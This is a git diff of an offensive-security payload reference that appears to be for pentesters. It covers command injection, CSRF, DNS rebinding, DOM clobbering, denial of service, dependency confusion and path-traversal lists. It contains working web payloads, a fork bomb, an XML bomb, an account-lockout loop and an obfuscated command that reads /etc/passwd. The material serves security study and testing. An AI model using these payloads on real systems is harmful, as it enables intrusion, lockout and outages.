@@ -378,21 +436,23 @@ Using `nohup`, you can keep the process running after the parent process exits.
nohup sleep 120 > /dev/null & nohup sleep 120 > /dev/null &
``` ```
### Remove arguments after the injection ### Remove Arguments After The Injection
In Unix-like command-line interfaces, the `--` symbol is used to signify the end of command options. After `--`, all arguments are treated as filenames and arguments, and not as options. In Unix-like command-line interfaces, the `--` symbol is used to signify the end of command options. After `--`, all arguments are treated as filenames and arguments, and not as options.
## Labs ## Labs
* [OS command injection, simple case](https://portswigger.net/web-security/os-command-injection/lab-simple) * [PortSwigger - OS command injection, simple case](https://portswigger.net/web-security/os-command-injection/lab-simple)
* [Blind OS command injection with time delays](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays) * [PortSwigger - Blind OS command injection with time delays](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays)
* [Blind OS command injection with output redirection](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection) * [PortSwigger - Blind OS command injection with output redirection](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection)
* [Blind OS command injection with out-of-band interaction](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band) * [PortSwigger - Blind OS command injection with out-of-band interaction](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band)
* [Blind OS command injection with out-of-band data exfiltration](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration) * [PortSwigger - Blind OS command injection with out-of-band data exfiltration](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration)
* [Root Me - PHP - Command injection](https://www.root-me.org/en/Challenges/Web-Server/PHP-Command-injection)
* [Root Me - Command injection - Filter bypass](https://www.root-me.org/en/Challenges/Web-Server/Command-injection-Filter-bypass)
* [Root Me - PHP - assert()](https://www.root-me.org/en/Challenges/Web-Server/PHP-assert)
* [Root Me - PHP - preg_replace()](https://www.root-me.org/en/Challenges/Web-Server/PHP-preg_replace)
### Challenge
## Challenge
Challenge based on the previous tricks, what does the following command do: Challenge based on the previous tricks, what does the following command do:
@@ -400,12 +460,17 @@ Challenge based on the previous tricks, what does the following command do:
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/} g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
``` ```
**NOTE**: The command is safe to run, but you should not trust me.
## References ## References
* [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/) * [Argument Injection and Getting Past Shellwords.escape - Etienne Stalmans - November 24, 2019](https://web.archive.org/web/20250306133700/https://staaldraad.github.io/post/2019-11-24-argument-injection/)
* [Bug Bounty Survey - Windows RCE spaceless](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136) * [Argument Injection Vectors - SonarSource - February 21, 2023](https://web.archive.org/web/20251211212046/https://sonarsource.github.io/argument-injection-vectors/)
* [No PHP, no spaces, no $, no { }, bash only - @asdizzle](https://twitter.com/asdizzle_/status/895244943526170628) * [Back to the Future: Unix Wildcards Gone Wild - Leon Juranic - June 25, 2014](https://web.archive.org/web/20140714140437/http://www.exploit-db.com/papers/33930)
* [#bash #obfuscation by string manipulation - Malwrologist, @DissectMalware](https://twitter.com/DissectMalware/status/1025604382644232192) * [Bash Obfuscation by String Manipulation - Malwrologist, @DissectMalware - August 4, 2018](https://web.archive.org/web/20241202133053/https://twitter.com/DissectMalware/status/1025604382644232192)
* [What is OS command injection - portswigger](https://portswigger.net/web-security/os-command-injection) * [Bug Bounty Survey - Windows RCE Spaceless - Bug Bounties Survey - May 4, 2017](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136)
* [Argument Injection Vectors - Sonar](https://sonarsource.github.io/argument-injection-vectors/) * [No PHP, No Spaces, No $, No {}, Bash Only - Sven Morgenroth - August 9, 2017](https://web.archive.org/web/20220428000241/https://twitter.com/asdizzle_/status/895244943526170628)
* [OS Command Injection - PortSwigger - 2024](https://web.archive.org/web/20190330193912/https://portswigger.net/web-security/os-command-injection)
* [SECURITY CAFÉ - Exploiting Timed-Based RCE - Pobereznicenco Dan - February 28, 2017](https://web.archive.org/web/20250108174818/https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
* [TL;DR: How to Exploit/Bypass/Use PHP escapeshellarg/escapeshellcmd Functions - kacperszurek - April 25, 2018](https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md)
* [WorstFit: Unveiling Hidden Transformers in Windows ANSI! - Orange Tsai - January 10, 2025](https://web.archive.org/web/20250109163006/https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/)

View File

Before

Width:  |  Height:  |  Size: 407 KiB

After

Width:  |  Height:  |  Size: 407 KiB

View File

@@ -0,0 +1,162 @@
# Cross-Site Request Forgery
> Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [HTML GET - Requiring User Interaction](#html-get---requiring-user-interaction)
* [HTML GET - No User Interaction](#html-get---no-user-interaction)
* [HTML POST - Requiring User Interaction](#html-post---requiring-user-interaction)
* [HTML POST - AutoSubmit - No User Interaction](#html-post---autosubmit---no-user-interaction)
* [HTML POST - multipart/form-data With File Upload - Requiring User Interaction](#html-post---multipartform-data-with-file-upload---requiring-user-interaction)
* [JSON GET - Simple Request](#json-get---simple-request)
* [JSON POST - Simple Request](#json-post---simple-request)
* [JSON POST - Complex Request](#json-post---complex-request)
* [Labs](#labs)
* [References](#references)
## Tools
* [0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.
## Methodology
![CSRF_cheatsheet](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Cross-Site%20Request%20Forgery/Images/CSRF-CheatSheet.png)
When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
### HTML GET - Requiring User Interaction
```html
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
```
### HTML GET - No User Interaction
```html
<img src="http://www.example.com/api/setusername?username=CSRFd">
```
### HTML POST - Requiring User Interaction
```html
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
```
### HTML POST - AutoSubmit - No User Interaction
```html
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
```
### HTML POST - multipart/form-data With File Upload - Requiring User Interaction
```html
<script>
function launch(){
const dT = new DataTransfer();
const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" );
dT.items.add( file );
document.xss[0].files = dT.files;
document.xss.submit()
}
</script>
<form style="display: none" name="xss" method="post" action="<target>" enctype="multipart/form-data">
<input id="file" type="file" name="file"/>
<input type="submit" name="" value="" size="0" />
</form>
<button value="button" onclick="launch()">Submit Request</button>
```
### JSON GET - Simple Request
```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>
```
### JSON POST - Simple Request
With XHR :
```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>
```
With autosubmit send form, which bypasses certain browser protections such as the Standard option of [Enhanced Tracking Protection](https://support.mozilla.org/en-US/kb/enhanced-tracking-protection-firefox-desktop?as=u&utm_source=inproduct#w_standard-enhanced-tracking-protection) in Firefox browser :
```html
<form id="CSRF_POC" action="www.example.com/api/setrole" enctype="text/plain" method="POST">
// this input will send : {"role":admin,"other":"="}
<input type="hidden" name='{"role":admin, "other":"' value='"}' />
</form>
<script>
document.getElementById("CSRF_POC").submit();
</script>
```
### JSON POST - Complex Request
```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>
```
## Labs
* [PortSwigger - CSRF vulnerability with no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses)
* [PortSwigger - CSRF where token validation depends on request method](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method)
* [PortSwigger - CSRF where token validation depends on token being present](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-token-being-present)
* [PortSwigger - CSRF where token is not tied to user session](https://portswigger.net/web-security/csrf/lab-token-not-tied-to-user-session)
* [PortSwigger - CSRF where token is tied to non-session cookie](https://portswigger.net/web-security/csrf/lab-token-tied-to-non-session-cookie)
* [PortSwigger - CSRF where token is duplicated in cookie](https://portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie)
* [PortSwigger - CSRF where Referer validation depends on header being present](https://portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present)
* [PortSwigger - CSRF with broken Referer validation](https://portswigger.net/web-security/csrf/lab-referer-validation-broken)
## References
* [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://web.archive.org/web/20220926223539/https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/)
* [Cross-Site Request Forgery (CSRF) - OWASP - Apr 19, 2024](https://web.archive.org/web/20120920091432/https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))
* [Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton - July 26, 2015](https://web.archive.org/web/20170919181010/https://whitton.io/articles/messenger-site-wide-csrf/)
* [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial - 19 July 2016](https://web.archive.org/web/20170607102958/https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/)
* [Hacking PayPal Accounts with one click (Patched) - Yasser Ali - 2014/10/09](https://web.archive.org/web/20141203184956/http://yasserali.com/hacking-paypal-accounts-with-one-click/)
* [Add tweet to collection CSRF - Vijay Kumar (indoappsec) - November 21, 2015](https://web.archive.org/web/20250519092910/https://hackerone.com/reports/100820)
* [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd - October 16, 2015](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/)
* [How I Hacked Your Beats Account? Apple Bug Bounty - @aaditya_purani - 2016/07/20](https://web.archive.org/web/20250504102847/https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/)
* [FORM POST JSON: JSON CSRF on POST Heartbeats API - Eugene Yakovchuk - July 2, 2017](https://web.archive.org/web/20180102010752/https://hackerone.com/reports/245346)
* [Hacking Facebook accounts using CSRF in Oculus-Facebook integration - Josip Franjkovic - January 15th, 2018](https://web.archive.org/web/20260208211335/https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
* [Cross Site Request Forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](https://web.archive.org/web/20250906213239/https://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
* [Cross-Site Request Forgery Attack - PwnFunction - 5 Apr. 2019](https://web.archive.org/web/20251127000352/https://www.youtube.com/watch?v=eWEgUcHPle0)
* [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](https://web.archive.org/web/20250727045637/https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
* [Bypass Referer Check Logic for CSRF - hahwul - Oct 11, 2019](https://web.archive.org/web/20250719144921/https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/)

11
DISCLAIMER.md Normal file
View File

@@ -0,0 +1,11 @@
# DISCLAIMER
The authors and contributors of this repository disclaim any and all responsibility for the misuse of the information, tools, or techniques described herein. The content is provided solely for educational and research purposes. Users are strictly advised to utilize this information in accordance with applicable laws and regulations and only on systems for which they have explicit authorization.
By accessing and using this repository, you agree to:
* Refrain from using the provided information for any unethical or illegal activities.
* Ensure that all testing and experimentation are conducted responsibly and with proper authorization.
* Acknowledge that any actions you take based on the contents of this repository are solely your responsibility.
Neither the authors nor contributors shall be held liable for any damages, direct or indirect, resulting from the misuse or unauthorized application of the knowledge contained herein. Always act mindfully, ethically, and within the boundaries of the law.

View File

@@ -5,33 +5,55 @@
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [Exploitation](#exploitation) * [Methodology](#methodology)
* [Protection Bypasses](#protection-bypasses) * [Protection Bypasses](#protection-bypasses)
* [0.0.0.0](#0000)
* [CNAME](#cname)
* [localhost](#localhost)
* [References](#references) * [References](#references)
## Tools ## Tools
- [Singularity of Origin](https://github.com/nccgroup/singularity) - is a tool to perform DNS rebinding attacks. * [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
- [Singularity of Origin Web Client](http://rebind.it/) (manager interface, port scanner and autoattack) * [rebind.it](http://rebind.it/) - Singularity of Origin Web Client.
* [taviso/rbndr](https://github.com/taviso/rbndr) - Simple DNS Rebinding Service
* [taviso/rebinder](https://lock.cmpxchg8b.com/rebinder.html) - rbndr Tool Helper
## Exploitation ## Methodology
First, we need to make sure that the targeted service is vulnerable to DNS rebinding. **Setup Phase**:
It can be done with a simple curl request:
```bash * Register a malicious domain (e.g., `malicious.com`).
curl --header 'Host: <arbitrary-hostname>' http://<vulnerable-service>:8080 * Configure a custom DNS server capable of resolving `malicious.com` to different IP addresses.
```
If the server returns the expected result (e.g. the regular web page) then the service is vulnerable. **Initial Victim Interaction**:
If the server returns an error message (e.g. 404 or similar), the server has most likely protections implemented which prevent DNS rebinding attacks.
Then, if the service is vulnerable, we can abuse DNS rebinding by following these steps: * Create a webpage on `malicious.com` containing malicious JavaScript or another exploit mechanism.
* Entice the victim to visit the malicious webpage (e.g., via phishing, social engineering, or advertisements).
**Initial DNS Resolution**:
* When the victim's browser accesses `malicious.com`, it queries the attacker's DNS server for the IP address.
* The DNS server resolves `malicious.com` to an initial, legitimate-looking IP address (e.g., 203.0.113.1).
**Rebinding to Internal IP**:
* After the browser's initial request, the attacker's DNS server updates the resolution for `malicious.com` to a private or internal IP address (e.g., 192.168.1.1, corresponding to the victims router or other internal devices).
This is often achieved by setting a very short TTL (time-to-live) for the initial DNS response, forcing the browser to re-resolve the domain.
**Same-Origin Exploitation:**
The browser treats subsequent responses as coming from the same origin (`malicious.com`).
Malicious JavaScript running in the victim's browser can now make requests to internal IP addresses or local services (e.g., 192.168.1.1 or 127.0.0.1), bypassing same-origin policy restrictions.
**Example:**
1. Register a domain. 1. Register a domain.
2. [Setup Singularity of Origin](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation). 2. [Setup Singularity of Origin](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation).
3. Edit the [autoattack HTML page](https://github.com/nccgroup/singularity/blob/master/html/autoattack.html) for your needs. 3. Edit the [autoattack HTML page](https://github.com/nccgroup/singularity/blob/master/html/autoattack.html) for your needs.
4. Browse to "http://rebinder.your.domain:8080/autoattack.html". 4. Browse to `http://rebinder.your.domain:8080/autoattack.html`.
5. Wait for the attack to finish (it can take few seconds/minutes). 5. Wait for the attack to finish (it can take few seconds/minutes).
## Protection Bypasses ## Protection Bypasses
@@ -71,6 +93,4 @@ localhost.example.com. 381 IN CNAME localhost.
## References ## References
- [How Do DNS Rebinding Attacks Work? - nccgroup, 2019](https://github.com/nccgroup/singularity/wiki/How-Do-DNS-Rebinding-Attacks-Work%3F) * [How Do DNS Rebinding Attacks Work? - nccgroup - Apr 9, 2019](https://github.com/nccgroup/singularity/wiki/How-Do-DNS-Rebinding-Attacks-Work%3F)

145
DOM Clobbering/README.md Normal file
View File

@@ -0,0 +1,145 @@
# DOM Clobbering
> DOM Clobbering is a technique where global variables can be overwritten or "clobbered" by naming HTML elements with certain IDs or names. This can cause unexpected behavior in scripts and potentially lead to security vulnerabilities.
## Summary
- [Tools](#tools)
- [Methodology](#methodology)
- [Labs](#labs)
- [References](#references)
## Tools
- [SoheilKhodayari/DOMClobbering](https://domclob.xyz/domc_markups/list) - Comprehensive List of DOM Clobbering Payloads for Mobile and Desktop Web Browsers
- [yeswehack/Dom-Explorer](https://github.com/yeswehack/Dom-Explorer) - A web-based tool designed for testing various HTML parsers and sanitizers.
- [yeswehack/Dom-Explorer Live](https://yeswehack.github.io/Dom-Explorer/dom-explorer#eyJpbnB1dCI6IiIsInBpcGVsaW5lcyI6W3siaWQiOiJ0ZGpvZjYwNSIsIm5hbWUiOiJEb20gVHJlZSIsInBpcGVzIjpbeyJuYW1lIjoiRG9tUGFyc2VyIiwiaWQiOiJhYjU1anN2YyIsImhpZGUiOmZhbHNlLCJza2lwIjpmYWxzZSwib3B0cyI6eyJ0eXBlIjoidGV4dC9odG1sIiwic2VsZWN0b3IiOiJib2R5Iiwib3V0cHV0IjoiaW5uZXJIVE1MIiwiYWRkRG9jdHlwZSI6dHJ1ZX19XX1dfQ==) - Reveal how browsers parse HTML and find mutated XSS vulnerabilities
## Methodology
Exploitation requires any kind of `HTML injection` in the page.
- Clobbering `x.y.value`
```html
// Payload
<form id=x><output id=y>I've been clobbered</output>
// Sink
<script>alert(x.y.value);</script>
```
- Clobbering `x.y` using ID and name attributes together to form a DOM collection
```html
// Payload
<a id=x><a id=x name=y href="Clobbered">
// Sink
<script>alert(x.y)</script>
```
- Clobbering `x.y.z` - 3 levels deep
```html
// Payload
<form id=x name=y><input id=z></form>
<form id=x></form>
// Sink
<script>alert(x.y.z)</script>
```
- Clobbering `a.b.c.d` - more than 3 levels
```html
// Payload
<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<style>@import '//portswigger.net';</style>
// Sink
<script>alert(a.b.c.d)</script>
```
- Clobbering `forEach` (Chrome only)
```html
// Payload
<form id=x>
<input id=y name=z>
<input id=y>
</form>
// Sink
<script>x.y.forEach(element=>alert(element))</script>
```
- Clobbering `document.getElementById()` using `<html>` or `<body>` tag with the same `id` attribute
```html
// Payloads
<html id="cdnDomain">clobbered</html>
<svg><body id=cdnDomain>clobbered</body></svg>
// Sink
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>
```
- Clobbering `x.username`
```html
// Payload
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
// Sink
<script>
alert(x.username)//Clobbered-username
alert(x.password)//Clobbered-password
</script>
```
- Clobbering (Firefox only)
```html
// Payload
<base href=a:abc><a id=x href="Firefox<>">
// Sink
<script>
alert(x)//Firefox<>
</script>
```
- Clobbering (Chrome only)
```html
// Payload
<base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>
// Sink
<script>
alert(x.xyz)//a://Clobbered<>
</script>
```
## Tricks
- DomPurify allows the protocol `cid:`, which doesn't encode double quote (`"`): `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`
## Labs
- [PortSwigger - Exploiting DOM clobbering to enable XSS](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering)
- [PortSwigger - Clobbering DOM attributes to bypass HTML filters](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-clobbering-attributes-to-bypass-html-filters)
- [PortSwigger - DOM clobbering test case protected by CSP](https://portswigger-labs.net/dom-invader/testcases/augmented-dom-script-dom-clobbering-csp/)
## References
- [Bypassing CSP via DOM clobbering - Gareth Heyes - 05 June 2023](https://web.archive.org/web/20251114182213/https://portswigger.net/research/bypassing-csp-via-dom-clobbering)
- [DOM Clobbering - HackTricks - January 27, 2023](https://web.archive.org/web/20241215205040/https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-clobbering)
- [DOM Clobbering - PortSwigger - September 25, 2020](https://web.archive.org/web/20260218083100/https://portswigger.net/web-security/dom-based/dom-clobbering)
- [DOM Clobbering strikes back - Gareth Heyes - 06 February 2020](https://web.archive.org/web/20200224065316/https://portswigger.net/research/dom-clobbering-strikes-back)
- [Hijacking service workers via DOM Clobbering - Gareth Heyes - 29 November 2022](https://web.archive.org/web/20260123013910/https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)

101
Denial of Service/README.md Normal file
View File

@@ -0,0 +1,101 @@
# Denial of Service
> A Denial of Service (DoS) attack aims to make a service unavailable by overwhelming it with a flood of illegitimate requests or exploiting vulnerabilities in the target's software to crash or degrade performance. In a Distributed Denial of Service (DDoS), attackers use multiple sources (often compromised machines) to perform the attack simultaneously.
## Summary
* [Methodology](#methodology)
* [Locking Customer Accounts](#locking-customer-accounts)
* [File Limits on FileSystem](#file-limits-on-filesystem)
* [Memory Exhaustion - Technology Related](#memory-exhaustion---technology-related)
* [References](#references)
## Methodology
Here are some examples of Denial of Service (DoS) attacks. These examples should serve as a reference for understanding the concept, but any DoS testing should be conducted cautiously, as it can disrupt the target environment and potentially result in loss of access or exposure of sensitive data.
### Locking Customer Accounts
Example of Denial of Service that can occur when testing customer accounts.
Be very careful as this is most likely **out-of-scope** and can have a high impact on the business.
* Multiple attempts on the login page when the account is temporary/indefinitely banned after X bad attempts.
```ps1
for i in {1..100}; do curl -X POST -d "username=user&password=wrong" <target_login_url>; done
```
### File Limits on FileSystem
When a process is writing a file on the server, try to reach the maximum number of files allowed by the filesystem format. The system should output a message: `No space left on device` when the limit is reached.
| Filesystem | Maximum Inodes |
| --- | --- |
| BTRFS | 2^64 (~18 quintillion) |
| EXT4 | ~4 billion |
| FAT32 | ~268 million files |
| NTFS | ~4.2 billion (MFT entries) |
| XFS | Dynamic (disk size) |
| ZFS | ~281 trillion |
An alternative of this technique would be to fill a file used by the application until it reaches the maximum size allowed by the filesystem, for example it can occur on a SQLite database or a log file.
FAT32 has a significant limitation of **4 GB**, which is why it's often replaced with exFAT or NTFS for larger files.
Modern filesystems like BTRFS, ZFS, and XFS support exabyte-scale files, well beyond current storage capacities, making them future-proof for large datasets.
### Memory Exhaustion - Technology Related
Depending on the technology used by the website, an attacker may have the ability to trigger specific functions or paradigm that will consume a huge chunk of memory.
* **XML External Entity**: Billion laughs attack/XML bomb
```xml
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```
* **GraphQL**: Deeply-nested GraphQL queries.
```ps1
query {
repository(owner:"rails", name:"rails") {
assignableUsers (first: 100) {
nodes {
repositories (first: 100) {
nodes {
}
}
}
}
}
}
```
* **Image Resizing**: try to send invalid pictures with modified headers, e.g: abnormal size, big number of pixels.
* **SVG handling**: SVG file format is based on XML, try the billion laughs attack.
* **Regular Expression**: ReDoS
* **Fork Bomb**: rapidly creates new processes in a loop, consuming system resources until the machine becomes unresponsive.
```ps1
:(){ :|:& };:
```
## References
* [DEF CON 32 - Practical Exploitation of DoS in Bug Bounty - Roni Lupin Carta - October 16, 2024](https://web.archive.org/web/20241115121102/https://youtu.be/b7WlUofPJpU)
* [Denial of Service Cheat Sheet - OWASP Cheat Sheet Series - July 16, 2019](https://web.archive.org/web/20260303124303/https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)

View File

@@ -1,32 +1,39 @@
# Dependency Confusion # Dependency Confusion
> A dependency confusion attack or supply chain substitution attack occurs when a software installer script is tricked into pulling a malicious code file from a public repository instead of the intended file of the same name from an internal repository. > A dependency confusion attack or supply chain substitution attack occurs when a software installer script is tricked into pulling a malicious code file from a public repository instead of the intended file of the same name from an internal repository.
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [Exploit](#exploitation) * [Methodology](#methodology)
* [References](#references) * [NPM Example](#npm-example)
* [References](#references)
## Tools ## Tools
* [Confused](https://github.com/visma-prodsec/confused) * [visma-prodsec/confused](https://github.com/visma-prodsec/confused) - Tool to check for dependency confusion vulnerabilities in multiple package management systems
* [synacktiv/DepFuzzer](https://github.com/synacktiv/DepFuzzer) - Tool used to find dependency confusion or project where owner's email can be takeover.
## Exploit
## Methodology
Look for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used.
Look for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used.
### NPM example
* **DockerHub**: Dockerfile image
* List all the packages (ie: package.json, composer.json, ...) * **JavaScript** (npm): package.json
* Find the package missing from https://www.npmjs.com/ * **MVN** (maven): pom.xml
* Register and create a **public** package with the same name * **PHP** (composer): composer.json
* Package example : https://github.com/0xsapra/dependency-confusion-expoit * **Python** (pypi): requirements.txt
## References ### NPM Example
* [Exploiting Dependency Confusion - 2 Jul 2021 - 0xsapra](https://0xsapra.github.io/website//Exploiting-Dependency-Confusion) * List all the packages (ie: package.json, composer.json, ...)
* [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) * Find the package missing from [www.npmjs.com](https://www.npmjs.com/)
* [Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/) * Register and create a **public** package with the same name
* [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained](https://www.youtube.com/watch?v=zFHJwehpBrU ) * Package example : [0xsapra/dependency-confusion-expoit](https://github.com/0xsapra/dependency-confusion-expoit)
## References
* [Exploiting Dependency Confusion - Aman Sapra (0xsapra) - 2 Jul 2021](https://web.archive.org/web/20251107024922/https://0xsapra.github.io/website/Exploiting-Dependency-Confusion)
* [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://web.archive.org/web/20210209181139/https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
* [3 Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://web.archive.org/web/20210210121930/https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/)
* [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained - 22 févr. 2021](https://web.archive.org/web/20210223060107/https://www.youtube.com/watch?v=zFHJwehpBrU)

View File

@@ -6,6 +6,14 @@
../../../../../../{FILE} ../../../../../../{FILE}
../../../../../../../{FILE} ../../../../../../../{FILE}
../../../../../../../../{FILE} ../../../../../../../../{FILE}
..;/{FILE}
..;/..;/{FILE}
..;/..;/..;/{FILE}
..;/..;/..;/..;/{FILE}
..;/..;/..;/..;/..;/{FILE}
..;/..;/..;/..;/..;/..;/{FILE}
..;/..;/..;/..;/..;/..;/..;/{FILE}
..;/..;/..;/..;/..;/..;/..;/..;/{FILE}
..%2f{FILE} ..%2f{FILE}
..%2f..%2f{FILE} ..%2f..%2f{FILE}
..%2f..%2f..%2f{FILE} ..%2f..%2f..%2f{FILE}
@@ -876,4 +884,4 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
..\..\\..\..\\..\\\{FILE} ..\..\\..\..\\..\\\{FILE}
..\..\\..\..\\..\..\\\{FILE} ..\..\\..\..\\..\..\\\{FILE}
..\..\\..\..\\..\..\\..\\\{FILE} ..\..\\..\..\\..\..\\..\\\{FILE}
..\..\\..\..\\..\..\\..\..\\\{FILE} ..\..\\..\..\\..\..\\..\..\\\{FILE}

View File

@@ -877,11 +877,11 @@
/..\..\\..\..\\..\..\\\{FILE} /..\..\\..\..\\..\..\\\{FILE}
/..\..\\..\..\\..\..\\..\\\{FILE} /..\..\\..\..\\..\..\\..\\\{FILE}
/..\..\\..\..\\..\..\\..\..\\\{FILE} /..\..\\..\..\\..\..\\..\..\\\{FILE}
/\..%2f /\..%2f{FILE}
/\..%2f\..%2f /\..%2f\..%2f{FILE}
/\..%2f\..%2f\..%2f /\..%2f\..%2f\..%2f{FILE}
